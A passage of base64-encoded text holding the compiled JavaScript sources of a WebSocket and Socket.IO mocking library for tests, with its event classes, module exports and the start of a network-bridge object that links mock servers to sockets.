GRlc2NyaXB0b3IuZW51bWVyYWJsZSB8fCBmYWxzZTsgZGVzY3JpcHRvci5jb25maWd1cmFibGUgPSB0cnVlOyBpZiAoJ3ZhbHVlJyBpbiBkZXNjcmlwdG9yKSBkZXNjcmlwdG9yLndyaXRhYmxlID0gdHJ1ZTsgT2JqZWN0LmRlZmluZVByb3BlcnR5KHRhcmdldCwgZGVzY3JpcHRvci5rZXksIGRlc2NyaXB0b3IpOyB9IH0gcmV0dXJuIGZ1bmN0aW9uIChDb25zdHJ1Y3RvciwgcHJvdG9Qcm9wcywgc3RhdGljUHJvcHMpIHsgaWYgKHByb3RvUHJvcHMpIGRlZmluZVByb3BlcnRpZXMoQ29uc3RydWN0b3IucHJvdG90eXBlLCBwcm90b1Byb3BzKTsgaWYgKHN0YXRpY1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLCBzdGF0aWNQcm9wcyk7IHJldHVybiBDb25zdHJ1Y3RvcjsgfTsgfSkoKTtcblxuZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKCdDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb24nKTsgfSB9XG5cbnZhciBFdmVudFByb3RvdHlwZSA9IChmdW5jdGlvbiAoKSB7XG4gIGZ1bmN0aW9uIEV2ZW50UHJvdG90eXBlKCkge1xuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBFdmVudFByb3RvdHlwZSk7XG4gIH1cblxuICBfY3JlYXRlQ2xhc3MoRXZlbnRQcm90b3R5cGUsIFt7XG4gICAga2V5OiAnc3RvcFByb3BhZ2F0aW9uJyxcblxuICAgIC8vIE5vb3BzXG4gICAgdmFsdWU6IGZ1bmN0aW9uIHN0b3BQcm9wYWdhdGlvbigpIHt9XG4gIH0sIHtcbiAgICBrZXk6ICdzdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24nLFxuICAgIHZhbHVlOiBmdW5jdGlvbiBzdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKSB7fVxuXG4gICAgLy8gaWYgbm8gYXJndW1lbnRzIGFyZSBwYXNzZWQgdGhlbiB0aGUgdHlwZSBpcyBzZXQgdG8gXCJ1bmRlZmluZWRcIiBvblxuICAgIC8vIGNocm9tZSBhbmQgc2FmYXJpLlxuICB9LCB7XG4gICAga2V5OiAnaW5pdEV2ZW50JyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gaW5pdEV2ZW50KCkge1xuICAgICAgdmFyIHR5cGUgPSBhcmd1bWVudHMubGVuZ3RoIDw9IDAgfHwgYXJndW1lbnRzWzBdID09PSB1bmRlZmluZWQgPyAndW5kZWZpbmVkJyA6IGFyZ3VtZW50c1swXTtcbiAgICAgIHZhciBidWJibGVzID0gYXJndW1lbnRzLmxlbmd0aCA8PSAxIHx8IGFyZ3VtZW50c1sxXSA9PT0gdW5kZWZpbmVkID8gZmFsc2UgOiBhcmd1bWVudHNbMV07XG4gICAgICB2YXIgY2FuY2VsYWJsZSA9IGFyZ3VtZW50cy5sZW5ndGggPD0gMiB8fCBhcmd1bWVudHNbMl0gPT09IHVuZGVmaW5lZCA/IGZhbHNlIDogYXJndW1lbnRzWzJdO1xuXG4gICAgICBPYmplY3QuYXNzaWduKHRoaXMsIHtcbiAgICAgICAgdHlwZTogU3RyaW5nKHR5cGUpLFxuICAgICAgICBidWJibGVzOiBCb29sZWFuKGJ1YmJsZXMpLFxuICAgICAgICBjYW5jZWxhYmxlOiBCb29sZWFuKGNhbmNlbGFibGUpXG4gICAgICB9KTtcbiAgICB9XG4gIH1dKTtcblxuICByZXR1cm4gRXZlbnRQcm90b3R5cGU7XG59KSgpO1xuXG5leHBvcnRzWydkZWZhdWx0J10gPSBFdmVudFByb3RvdHlwZTtcbm1vZHVsZS5leHBvcnRzID0gZXhwb3J0c1snZGVmYXVsdCddOyIsIid1c2Ugc3RyaWN0JztcblxuT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsICdfX2VzTW9kdWxlJywge1xuICB2YWx1ZTogdHJ1ZVxufSk7XG5cbnZhciBfZ2V0ID0gZnVuY3Rpb24gZ2V0KF94MiwgX3gzLCBfeDQpIHsgdmFyIF9hZ2FpbiA9IHRydWU7IF9mdW5jdGlvbjogd2hpbGUgKF9hZ2FpbikgeyB2YXIgb2JqZWN0ID0gX3gyLCBwcm9wZXJ0eSA9IF94MywgcmVjZWl2ZXIgPSBfeDQ7IF9hZ2FpbiA9IGZhbHNlOyBpZiAob2JqZWN0ID09PSBudWxsKSBvYmplY3QgPSBGdW5jdGlvbi5wcm90b3R5cGU7IHZhciBkZXNjID0gT2JqZWN0LmdldE93blByb3BlcnR5RGVzY3JpcHRvcihvYmplY3QsIHByb3BlcnR5KTsgaWYgKGRlc2MgPT09IHVuZGVmaW5lZCkgeyB2YXIgcGFyZW50ID0gT2JqZWN0LmdldFByb3RvdHlwZU9mKG9iamVjdCk7IGlmIChwYXJlbnQgPT09IG51bGwpIHsgcmV0dXJuIHVuZGVmaW5lZDsgfSBlbHNlIHsgX3gyID0gcGFyZW50OyBfeDMgPSBwcm9wZXJ0eTsgX3g0ID0gcmVjZWl2ZXI7IF9hZ2FpbiA9IHRydWU7IGRlc2MgPSBwYXJlbnQgPSB1bmRlZmluZWQ7IGNvbnRpbnVlIF9mdW5jdGlvbjsgfSB9IGVsc2UgaWYgKCd2YWx1ZScgaW4gZGVzYykgeyByZXR1cm4gZGVzYy52YWx1ZTsgfSBlbHNlIHsgdmFyIGdldHRlciA9IGRlc2MuZ2V0OyBpZiAoZ2V0dGVyID09PSB1bmRlZmluZWQpIHsgcmV0dXJuIHVuZGVmaW5lZDsgfSByZXR1cm4gZ2V0dGVyLmNhbGwocmVjZWl2ZXIpOyB9IH0gfTtcblxuZnVuY3Rpb24gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChvYmopIHsgcmV0dXJuIG9iaiAmJiBvYmouX19lc01vZHVsZSA/IG9iaiA6IHsgJ2RlZmF1bHQnOiBvYmogfTsgfVxuXG5mdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoJ0Nhbm5vdCBjYWxsIGEgY2xhc3MgYXMgYSBmdW5jdGlvbicpOyB9IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gJ2Z1bmN0aW9uJyAmJiBzdXBlckNsYXNzICE9PSBudWxsKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoJ1N1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgJyArIHR5cGVvZiBzdXBlckNsYXNzKTsgfSBzdWJDbGFzcy5wcm90b3R5cGUgPSBPYmplY3QuY3JlYXRlKHN1cGVyQ2xhc3MgJiYgc3VwZXJDbGFzcy5wcm90b3R5cGUsIHsgY29uc3RydWN0b3I6IHsgdmFsdWU6IHN1YkNsYXNzLCBlbnVtZXJhYmxlOiBmYWxzZSwgd3JpdGFibGU6IHRydWUsIGNvbmZpZ3VyYWJsZTogdHJ1ZSB9IH0pOyBpZiAoc3VwZXJDbGFzcykgT2JqZWN0LnNldFByb3RvdHlwZU9mID8gT2JqZWN0LnNldFByb3RvdHlwZU9mKHN1YkNsYXNzLCBzdXBlckNsYXNzKSA6IHN1YkNsYXNzLl9fcHJvdG9fXyA9IHN1cGVyQ2xhc3M7IH1cblxudmFyIF9ldmVudFByb3RvdHlwZSA9IHJlcXVpcmUoJy4vZXZlbnQtcHJvdG90eXBlJyk7XG5cbnZhciBfZXZlbnRQcm90b3R5cGUyID0gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChfZXZlbnRQcm90b3R5cGUpO1xuXG52YXIgRXZlbnQgPSAoZnVuY3Rpb24gKF9FdmVudFByb3RvdHlwZSkge1xuICBfaW5oZXJpdHMoRXZlbnQsIF9FdmVudFByb3RvdHlwZSk7XG5cbiAgZnVuY3Rpb24gRXZlbnQodHlwZSkge1xuICAgIHZhciBldmVudEluaXRDb25maWcgPSBhcmd1bWVudHMubGVuZ3RoIDw9IDEgfHwgYXJndW1lbnRzWzFdID09PSB1bmRlZmluZWQgPyB7fSA6IGFyZ3VtZW50c1sxXTtcblxuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBFdmVudCk7XG5cbiAgICBfZ2V0KE9iamVjdC5nZXRQcm90b3R5cGVPZihFdmVudC5wcm90b3R5cGUpLCAnY29uc3RydWN0b3InLCB0aGlzKS5jYWxsKHRoaXMpO1xuXG4gICAgaWYgKCF0eXBlKSB7XG4gICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdGYWlsZWQgdG8gY29uc3RydWN0IFxcJ0V2ZW50XFwnOiAxIGFyZ3VtZW50IHJlcXVpcmVkLCBidXQgb25seSAwIHByZXNlbnQuJyk7XG4gICAgfVxuXG4gICAgaWYgKHR5cGVvZiBldmVudEluaXRDb25maWcgIT09ICdvYmplY3QnKSB7XG4gICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdGYWlsZWQgdG8gY29uc3RydWN0IFxcJ0V2ZW50XFwnOiBwYXJhbWV0ZXIgMiAoXFwnZXZlbnRJbml0RGljdFxcJykgaXMgbm90IGFuIG9iamVjdCcpO1xuICAgIH1cblxuICAgIHZhciBidWJibGVzID0gZXZlbnRJbml0Q29uZmlnLmJ1YmJsZXM7XG4gICAgdmFyIGNhbmNlbGFibGUgPSBldmVudEluaXRDb25maWcuY2FuY2VsYWJsZTtcblxuICAgIHRoaXMudHlwZSA9IFN0cmluZyh0eXBlKTtcbiAgICB0aGlzLnRpbWVTdGFtcCA9IERhdGUubm93KCk7XG4gICAgdGhpcy50YXJnZXQgPSBudWxsO1xuICAgIHRoaXMuc3JjRWxlbWVudCA9IG51bGw7XG4gICAgdGhpcy5yZXR1cm5WYWx1ZSA9IHRydWU7XG4gICAgdGhpcy5pc1RydXN0ZWQgPSBmYWxzZTtcbiAgICB0aGlzLmV2ZW50UGhhc2UgPSAwO1xuICAgIHRoaXMuZGVmYXVsdFByZXZlbnRlZCA9IGZhbHNlO1xuICAgIHRoaXMuY3VycmVudFRhcmdldCA9IG51bGw7XG4gICAgdGhpcy5jYW5jZWxhYmxlID0gY2FuY2VsYWJsZSA/IEJvb2xlYW4oY2FuY2VsYWJsZSkgOiBmYWxzZTtcbiAgICB0aGlzLmNhbm5jZWxCdWJibGUgPSBmYWxzZTtcbiAgICB0aGlzLmJ1YmJsZXMgPSBidWJibGVzID8gQm9vbGVhbihidWJibGVzKSA6IGZhbHNlO1xuICB9XG5cbiAgcmV0dXJuIEV2ZW50O1xufSkoX2V2ZW50UHJvdG90eXBlMlsnZGVmYXVsdCddKTtcblxuZXhwb3J0c1snZGVmYXVsdCddID0gRXZlbnQ7XG5tb2R1bGUuZXhwb3J0cyA9IGV4cG9ydHNbJ2RlZmF1bHQnXTsiLCIndXNlIHN0cmljdCc7XG5cbk9iamVjdC5kZWZpbmVQcm9wZXJ0eShleHBvcnRzLCAnX19lc01vZHVsZScsIHtcbiAgdmFsdWU6IHRydWVcbn0pO1xuXG52YXIgX2dldCA9IGZ1bmN0aW9uIGdldChfeDIsIF94MywgX3g0KSB7IHZhciBfYWdhaW4gPSB0cnVlOyBfZnVuY3Rpb246IHdoaWxlIChfYWdhaW4pIHsgdmFyIG9iamVjdCA9IF94MiwgcHJvcGVydHkgPSBfeDMsIHJlY2VpdmVyID0gX3g0OyBfYWdhaW4gPSBmYWxzZTsgaWYgKG9iamVjdCA9PT0gbnVsbCkgb2JqZWN0ID0gRnVuY3Rpb24ucHJvdG90eXBlOyB2YXIgZGVzYyA9IE9iamVjdC5nZXRPd25Qcm9wZXJ0eURlc2NyaXB0b3Iob2JqZWN0LCBwcm9wZXJ0eSk7IGlmIChkZXNjID09PSB1bmRlZmluZWQpIHsgdmFyIHBhcmVudCA9IE9iamVjdC5nZXRQcm90b3R5cGVPZihvYmplY3QpOyBpZiAocGFyZW50ID09PSBudWxsKSB7IHJldHVybiB1bmRlZmluZWQ7IH0gZWxzZSB7IF94MiA9IHBhcmVudDsgX3gzID0gcHJvcGVydHk7IF94NCA9IHJlY2VpdmVyOyBfYWdhaW4gPSB0cnVlOyBkZXNjID0gcGFyZW50ID0gdW5kZWZpbmVkOyBjb250aW51ZSBfZnVuY3Rpb247IH0gfSBlbHNlIGlmICgndmFsdWUnIGluIGRlc2MpIHsgcmV0dXJuIGRlc2MudmFsdWU7IH0gZWxzZSB7IHZhciBnZXR0ZXIgPSBkZXNjLmdldDsgaWYgKGdldHRlciA9PT0gdW5kZWZpbmVkKSB7IHJldHVybiB1bmRlZmluZWQ7IH0gcmV0dXJuIGdldHRlci5jYWxsKHJlY2VpdmVyKTsgfSB9IH07XG5cbmZ1bmN0aW9uIF9pbnRlcm9wUmVxdWlyZURlZmF1bHQob2JqKSB7IHJldHVybiBvYmogJiYgb2JqLl9fZXNNb2R1bGUgPyBvYmogOiB7ICdkZWZhdWx0Jzogb2JqIH07IH1cblxuZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKCdDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb24nKTsgfSB9XG5cbmZ1bmN0aW9uIF9pbmhlcml0cyhzdWJDbGFzcywgc3VwZXJDbGFzcykgeyBpZiAodHlwZW9mIHN1cGVyQ2xhc3MgIT09ICdmdW5jdGlvbicgJiYgc3VwZXJDbGFzcyAhPT0gbnVsbCkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKCdTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90ICcgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbnZhciBfZXZlbnRQcm90b3R5cGUgPSByZXF1aXJlKCcuL2V2ZW50LXByb3RvdHlwZScpO1xuXG52YXIgX2V2ZW50UHJvdG90eXBlMiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX2V2ZW50UHJvdG90eXBlKTtcblxudmFyIE1lc3NhZ2VFdmVudCA9IChmdW5jdGlvbiAoX0V2ZW50UHJvdG90eXBlKSB7XG4gIF9pbmhlcml0cyhNZXNzYWdlRXZlbnQsIF9FdmVudFByb3RvdHlwZSk7XG5cbiAgZnVuY3Rpb24gTWVzc2FnZUV2ZW50KHR5cGUpIHtcbiAgICB2YXIgZXZlbnRJbml0Q29uZmlnID0gYXJndW1lbnRzLmxlbmd0aCA8PSAxIHx8IGFyZ3VtZW50c1sxXSA9PT0gdW5kZWZpbmVkID8ge30gOiBhcmd1bWVudHNbMV07XG5cbiAgICBfY2xhc3NDYWxsQ2hlY2sodGhpcywgTWVzc2FnZUV2ZW50KTtcblxuICAgIF9nZXQoT2JqZWN0LmdldFByb3RvdHlwZU9mKE1lc3NhZ2VFdmVudC5wcm90b3R5cGUpLCAnY29uc3RydWN0b3InLCB0aGlzKS5jYWxsKHRoaXMpO1xuXG4gICAgaWYgKCF0eXBlKSB7XG4gICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdGYWlsZWQgdG8gY29uc3RydWN0IFxcJ01lc3NhZ2VFdmVudFxcJzogMSBhcmd1bWVudCByZXF1aXJlZCwgYnV0IG9ubHkgMCBwcmVzZW50LicpO1xuICAgIH1cblxuICAgIGlmICh0eXBlb2YgZXZlbnRJbml0Q29uZmlnICE9PSAnb2JqZWN0Jykge1xuICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignRmFpbGVkIHRvIGNvbnN0cnVjdCBcXCdNZXNzYWdlRXZlbnRcXCc6IHBhcmFtZXRlciAyIChcXCdldmVudEluaXREaWN0XFwnKSBpcyBub3QgYW4gb2JqZWN0Jyk7XG4gICAgfVxuXG4gICAgdmFyIGJ1YmJsZXMgPSBldmVudEluaXRDb25maWcuYnViYmxlcztcbiAgICB2YXIgY2FuY2VsYWJsZSA9IGV2ZW50SW5pdENvbmZpZy5jYW5jZWxhYmxlO1xuICAgIHZhciBkYXRhID0gZXZlbnRJbml0Q29uZmlnLmRhdGE7XG4gICAgdmFyIG9yaWdpbiA9IGV2ZW50SW5pdENvbmZpZy5vcmlnaW47XG4gICAgdmFyIGxhc3RFdmVudElkID0gZXZlbnRJbml0Q29uZmlnLmxhc3RFdmVudElkO1xuICAgIHZhciBwb3J0cyA9IGV2ZW50SW5pdENvbmZpZy5wb3J0cztcblxuICAgIHRoaXMudHlwZSA9IFN0cmluZyh0eXBlKTtcbiAgICB0aGlzLnRpbWVTdGFtcCA9IERhdGUubm93KCk7XG4gICAgdGhpcy50YXJnZXQgPSBudWxsO1xuICAgIHRoaXMuc3JjRWxlbWVudCA9IG51bGw7XG4gICAgdGhpcy5yZXR1cm5WYWx1ZSA9IHRydWU7XG4gICAgdGhpcy5pc1RydXN0ZWQgPSBmYWxzZTtcbiAgICB0aGlzLmV2ZW50UGhhc2UgPSAwO1xuICAgIHRoaXMuZGVmYXVsdFByZXZlbnRlZCA9IGZhbHNlO1xuICAgIHRoaXMuY3VycmVudFRhcmdldCA9IG51bGw7XG4gICAgdGhpcy5jYW5jZWxhYmxlID0gY2FuY2VsYWJsZSA/IEJvb2xlYW4oY2FuY2VsYWJsZSkgOiBmYWxzZTtcbiAgICB0aGlzLmNhbm5jZWxCdWJibGUgPSBmYWxzZTtcbiAgICB0aGlzLmJ1YmJsZXMgPSBidWJibGVzID8gQm9vbGVhbihidWJibGVzKSA6IGZhbHNlO1xuICAgIHRoaXMub3JpZ2luID0gb3JpZ2luID8gU3RyaW5nKG9yaWdpbikgOiAnJztcbiAgICB0aGlzLnBvcnRzID0gdHlwZW9mIHBvcnRzID09PSAndW5kZWZpbmVkJyA/IG51bGwgOiBwb3J0cztcbiAgICB0aGlzLmRhdGEgPSB0eXBlb2YgZGF0YSA9PT0gJ3VuZGVmaW5lZCcgPyBudWxsIDogZGF0YTtcbiAgICB0aGlzLmxhc3RFdmVudElkID0gbGFzdEV2ZW50SWQgPyBTdHJpbmcobGFzdEV2ZW50SWQpIDogJyc7XG4gIH1cblxuICByZXR1cm4gTWVzc2FnZUV2ZW50O1xufSkoX2V2ZW50UHJvdG90eXBlMlsnZGVmYXVsdCddKTtcblxuZXhwb3J0c1snZGVmYXVsdCddID0gTWVzc2FnZUV2ZW50O1xubW9kdWxlLmV4cG9ydHMgPSBleHBvcnRzWydkZWZhdWx0J107IiwiJ3VzZSBzdHJpY3QnO1xuXG5PYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgJ19fZXNNb2R1bGUnLCB7XG4gIHZhbHVlOiB0cnVlXG59KTtcblxuZnVuY3Rpb24gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChvYmopIHsgcmV0dXJuIG9iaiAmJiBvYmouX19lc01vZHVsZSA/IG9iaiA6IHsgJ2RlZmF1bHQnOiBvYmogfTsgfVxuXG52YXIgX3NlcnZlciA9IHJlcXVpcmUoJy4vc2VydmVyJyk7XG5cbnZhciBfc2VydmVyMiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX3NlcnZlcik7XG5cbnZhciBfc29ja2V0SW8gPSByZXF1aXJlKCcuL3NvY2tldC1pbycpO1xuXG52YXIgX3NvY2tldElvMiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX3NvY2tldElvKTtcblxudmFyIF93ZWJzb2NrZXQgPSByZXF1aXJlKCcuL3dlYnNvY2tldCcpO1xuXG52YXIgX3dlYnNvY2tldDIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF93ZWJzb2NrZXQpO1xuXG5pZiAodHlwZW9mIHdpbmRvdyAhPT0gJ3VuZGVmaW5lZCcpIHtcbiAgd2luZG93Lk1vY2tTZXJ2ZXIgPSBfc2VydmVyMlsnZGVmYXVsdCddO1xuICB3aW5kb3cuTW9ja1dlYlNvY2tldCA9IF93ZWJzb2NrZXQyWydkZWZhdWx0J107XG4gIHdpbmRvdy5Nb2NrU29ja2V0SU8gPSBfc29ja2V0SW8yWydkZWZhdWx0J107XG59XG5cbnZhciBTZXJ2ZXIgPSBfc2VydmVyMlsnZGVmYXVsdCddO1xuZXhwb3J0cy5TZXJ2ZXIgPSBTZXJ2ZXI7XG52YXIgV2ViU29ja2V0ID0gX3dlYnNvY2tldDJbJ2RlZmF1bHQnXTtcbmV4cG9ydHMuV2ViU29ja2V0ID0gV2ViU29ja2V0O1xudmFyIFNvY2tldElPID0gX3NvY2tldElvMlsnZGVmYXVsdCddO1xuZXhwb3J0cy5Tb2NrZXRJTyA9IFNvY2tldElPOyIsIid1c2Ugc3RyaWN0JztcblxuT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsICdfX2VzTW9kdWxlJywge1xuICB2YWx1ZTogdHJ1ZVxufSk7XG5cbnZhciBfY3JlYXRlQ2xhc3MgPSAoZnVuY3Rpb24gKCkgeyBmdW5jdGlvbiBkZWZpbmVQcm9wZXJ0aWVzKHRhcmdldCwgcHJvcHMpIHsgZm9yICh2YXIgaSA9IDA7IGkgPCBwcm9wcy5sZW5ndGg7IGkrKykgeyB2YXIgZGVzY3JpcHRvciA9IHByb3BzW2ldOyBkZXNjcmlwdG9yLmVudW1lcmFibGUgPSBkZXNjcmlwdG9yLmVudW1lcmFibGUgfHwgZmFsc2U7IGRlc2NyaXB0b3IuY29uZmlndXJhYmxlID0gdHJ1ZTsgaWYgKCd2YWx1ZScgaW4gZGVzY3JpcHRvcikgZGVzY3JpcHRvci53cml0YWJsZSA9IHRydWU7IE9iamVjdC5kZWZpbmVQcm9wZXJ0eSh0YXJnZXQsIGRlc2NyaXB0b3Iua2V5LCBkZXNjcmlwdG9yKTsgfSB9IHJldHVybiBmdW5jdGlvbiAoQ29uc3RydWN0b3IsIHByb3RvUHJvcHMsIHN0YXRpY1Byb3BzKSB7IGlmIChwcm90b1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLnByb3RvdHlwZSwgcHJvdG9Qcm9wcyk7IGlmIChzdGF0aWNQcm9wcykgZGVmaW5lUHJvcGVydGllcyhDb25zdHJ1Y3Rvciwgc3RhdGljUHJvcHMpOyByZXR1cm4gQ29uc3RydWN0b3I7IH07IH0pKCk7XG5cbmZ1bmN0aW9uIF9jbGFzc0NhbGxDaGVjayhpbnN0YW5jZSwgQ29uc3RydWN0b3IpIHsgaWYgKCEoaW5zdGFuY2UgaW5zdGFuY2VvZiBDb25zdHJ1Y3RvcikpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcignQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uJyk7IH0gfVxuXG52YXIgX2hlbHBlcnNBcnJheUhlbHBlcnMgPSByZXF1aXJlKCcuL2hlbHBlcnMvYXJyYXktaGVscGVycycpO1xuXG4vKlxuKiBUaGUgbmV0d29yayBicmlkZ2UgaXMgYSB3YXkgZm9yIHRoZSBtb2NrIHdlYnNvY2tldCBvYmplY3QgdG8gJ2NvbW11bmljYXRlJyB3aXRoXG4qIGFsbCBhdmFsaWJsZSBzZXJ2ZXJzLiBUaGlzIGlzIGEgc2luZ2xldG9uIG9iamVjdCBzbyBpdCBpcyBpbXBvcnRhbnQgdGhhdCB5b3VcbiogY2xlYW4gdXAgdXJsTWFwIHdoZW5ldmVyIHlvdSBhcmUgZmluaXNoZWQuXG4qL1xuXG52YXIgTmV0d29ya0JyaWRnZSA9IChmdW5jdGlvbiAoKSB7XG4gIGZ1bmN0aW9uIE5ldHdvcmtCcmlkZ2UoKSB7XG4gICAgX2NsYXNzQ2FsbENoZWNrKHRoaXMsIE5ldHdvcmtCcmlkZ2UpO1xuXG4gICAgdGhpcy51cmxNYXAgPSB7fTtcbiAgfVxuXG4gIC8qXG4gICogQXR0YWNoZXMgYSB3ZWJzb2NrZXQgb2JqZWN0IHRvIHRoZSB1cmxNYXAgaGFzaCBzbyB0aGF0IGl0IGNhbiBmaW5kIHRoZSBzZXJ2ZXJcbiAgKiBpdCBpcyBjb25uZWN0ZWQgdG8gYW5kIHRoZSBzZXJ2ZXIgaW4gdHVybiBjYW4gZmluZCBpdC5cbiAgKlxuICAqIEBwYXJhbSB7b2JqZWN0fSB3ZWJzb2NrZXQgLSB3ZWJzb2NrZXQgb2JqZWN0IHRvIGFkZCB0byB0aGUgdXJsTWFwIGhhc2hcbiAgKiBAcGFyYW0ge3N0cmluZ30gdXJsXG4gICovXG5cbiAgX2NyZWF0ZUNsYXNzKE5ldHdvcmtCcmlkZ2UsIFt7XG4gICAga2V5OiAnYXR0YWNoV2ViU29ja2V0JyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gYXR0YWNoV2ViU29ja2V0KHdlYnNvY2tldCwgdXJsKSB7XG4gICAgICB2YXIgY29ubmVjdGlvbkxvb2t1cCA9IHRoaXMudXJsTWFwW3VybF07XG5cbiAgICAgIGlmIChjb25uZWN0aW9uTG9va3VwICYmIGNvbm5lY3Rpb25Mb29rdXAuc2VydmVyICYmIGNvbm5lY3Rpb25Mb29rdXAud2Vic29ja2V0cy5pbmRleE9mKHdlYnNvY2tldCkgPT09IC0xKSB7XG4gICAgICAgIGNvbm5lY3Rpb25Mb29rdXAud2Vic29ja2V0cy5wdXNoKHdlYnNvY2tldCk7XG4gICAgICAgIHJldHVybiBjb25uZWN0aW9uTG9va3VwLnNlcnZlcjtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAvKlxuICAgICogQXR0YWNoZXMgYSB3ZWJzb2NrZXQgdG8gYSByb29tXG4gICAgKi9cbiAgfSwge1xuICAgIGtleTogJ2FkZE1lbWJlcnNoaXBUb1Jvb20nLFxuICAgIHZhbHVlOiBmdW5jdGlvbiBhZGRNZW1iZXJzaGlwVG9Sb29tKHdlYnNvY2tldCwgcm9vbSkge1xuICAgICAgdmFyIGNvbm5lY3Rpb25Mb29rdXAgPSB0aGlzLnVybE1hcFt3ZWJzb2NrZXQudXJsXTtcblxuICAgICAgaWYgKGNvbm5lY3Rpb25Mb29rdXAgJiYgY29ubmVjdGlvbkxvb2t1cC5zZXJ2ZXIgJiYgY29ubmVjdGlvbkxvb2t1cC53ZWJzb2NrZXRzLmluZGV4T2Yod2Vic29ja2V0KSAhPT0gLTEpIHtcbiAgICAgICAgaWYgKCFjb25uZWN0aW9uTG9va3VwLnJvb21NZW1iZXJzaGlwc1tyb29tXSkge1xuICAgICAgICAgIGNvbm5lY3Rpb25Mb29rdXAucm9vbU1lbWJlcnNoaXBzW3Jvb21dID0gW107XG4gICAgICAgIH1cblxuICAgICAgICBjb25uZWN0aW9uTG9va3VwLnJvb21NZW1iZXJzaGlwc1tyb29tXS5wdXNoKHdlYnNvY2tldCk7XG4gICAgICB9XG4gICAgfVxuXG4gICAgLypcbiAgICAqIEF0dGFjaGVzIGEgc2VydmVyIG9iamVjdCB0byB0aGUgdXJsTWFwIGhhc2ggc28gdGhhdCBpdCBjYW4gZmluZCBhIHdlYnNvY2tldHNcbiAgICAqIHdoaWNoIGFyZSBjb25uZWN0ZWQgdG8gaXQgYW5kIHNvIHRoYXQgd2Vic29ja2V0cyBjYW4gaW4gdHVybiBjYW4gZmluZCBpdC5cbiAgICAqXG4gICAgKiBAcGFyYW0ge29iamVjdH0gc2VydmVyIC0gc2VydmVyIG9iamVjdCB0byBhZGQgdG8gdGhlIHVybE1hcCBoYXNoXG4gICAgKiBAcGFyYW0ge3N0cmluZ30gdXJsXG4gICAgKi9cbiAgfSwge1xuICAgIGtleTogJ2F0dGFjaFNlcnZlcicsXG4gICAgdmFsdWU6IGZ1bmN0aW9uIGF0dGFjaFNlcnZlcihzZXJ2ZXIsIHVybCkge1xuICAgICAgdmFyIGNvbm5lY3Rpb25Mb29rdXAgPSB0aGlzLnVybE1hcFt1cmxdO1xuXG4gICAgICBpZiAoIWNvbm5lY3Rpb25Mb29rdXApIHtcbiAgICAgICAgdGhpcy51cmxNYXBbdXJsXSA9IHtcbiAgICAgICAgICBzZXJ2ZXI6IHNlcnZlcixcbiAgICAgICAgICB3ZWJzb2NrZXRzOiBbXSxcbiAgICAgICAgICByb29tTWVtYmVyc2hpcHM6IHt9XG4gICAgICAgIH07XG5cbiAgICAgICAgcmV0dXJuIHNlcnZlcjtcbiA